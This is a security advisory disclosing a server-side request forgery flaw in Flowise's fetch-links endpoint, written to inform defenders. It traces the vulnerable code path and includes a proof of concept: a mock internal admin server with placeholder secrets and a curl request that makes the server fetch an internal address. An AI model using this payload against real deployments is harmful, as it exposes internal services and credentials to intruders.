GHSA-hr92-4q35-4j3m

### Summary --- A Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints. ### Details --- #### Vulnerability Overview The `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links. The issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks. #### Root Cause The `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services. ### Taint Flow #### • Taint 01: Route Registration https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24 #### • Taint 02: Service https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18 #### • Taint 03: xmlScrape https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478 ### PoC --- #### PoC Description This vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token: ``` tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q ``` Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as: - `/api/users` (User Management) - `/api/secrets` (API Keys) - `/api/database` (Database Config) This demonstrated that an attacker could enumerate internal web service structures. #### Internal Admin Server (Mock) ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/') def admin(): return render_template_string(""" <html> <h1>Internal Admin Panel</h1> <ul> <li><a href="/api/users">User Management</a></li> <li><a href="/api/secrets">API Keys</a></li> <li><a href="/api/database">Database Config</a></li> <li><a href="/api/logs">System Logs</a></li> </ul> """) @app.route('/api/users') def users(): return render_template_string(""" <html> <h1>Users</h1> <ul> <li><a href="/api/users/admin">admin (root)</a></li> <li><a href="/api/users/operator">operator</a></li> </ul> <a href="/">Back</a> """) @app.route('/api/secrets') def secrets(): return render_template_string(""" <html> <h1>Secrets</h1> <ul> <li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li> <li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li> </ul> <a href="/">Back</a> """) if __name__ == '__main__': app.run(host='127.0.0.1', port=8080) ``` #### curl Request Example ```bash curl -G 'http://localhost:3000/api/v1/fetch-links' \ --data-urlencode 'url=http://127.0.0.1:8080/' \ --data-urlencode 'relativeLinksMethod=webCrawl' \ --data-urlencode 'limit=10' \ -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \ -s | jq '.' ``` <img width="1914" height="952" alt="image" src="https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3" /> ### Impact --- This is a **Server-Side Request Forgery (SSRF)** vulnerability. - **Who is impacted?** Any user running Flowise server exposed to external traffic. - **Risk:** Attackers can leverage the Flowise server to: - Explore internal web applications - Bypass firewall rules - Access sensitive administrative interfaces - Leak internal configuration, credentials, or secrets This vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment.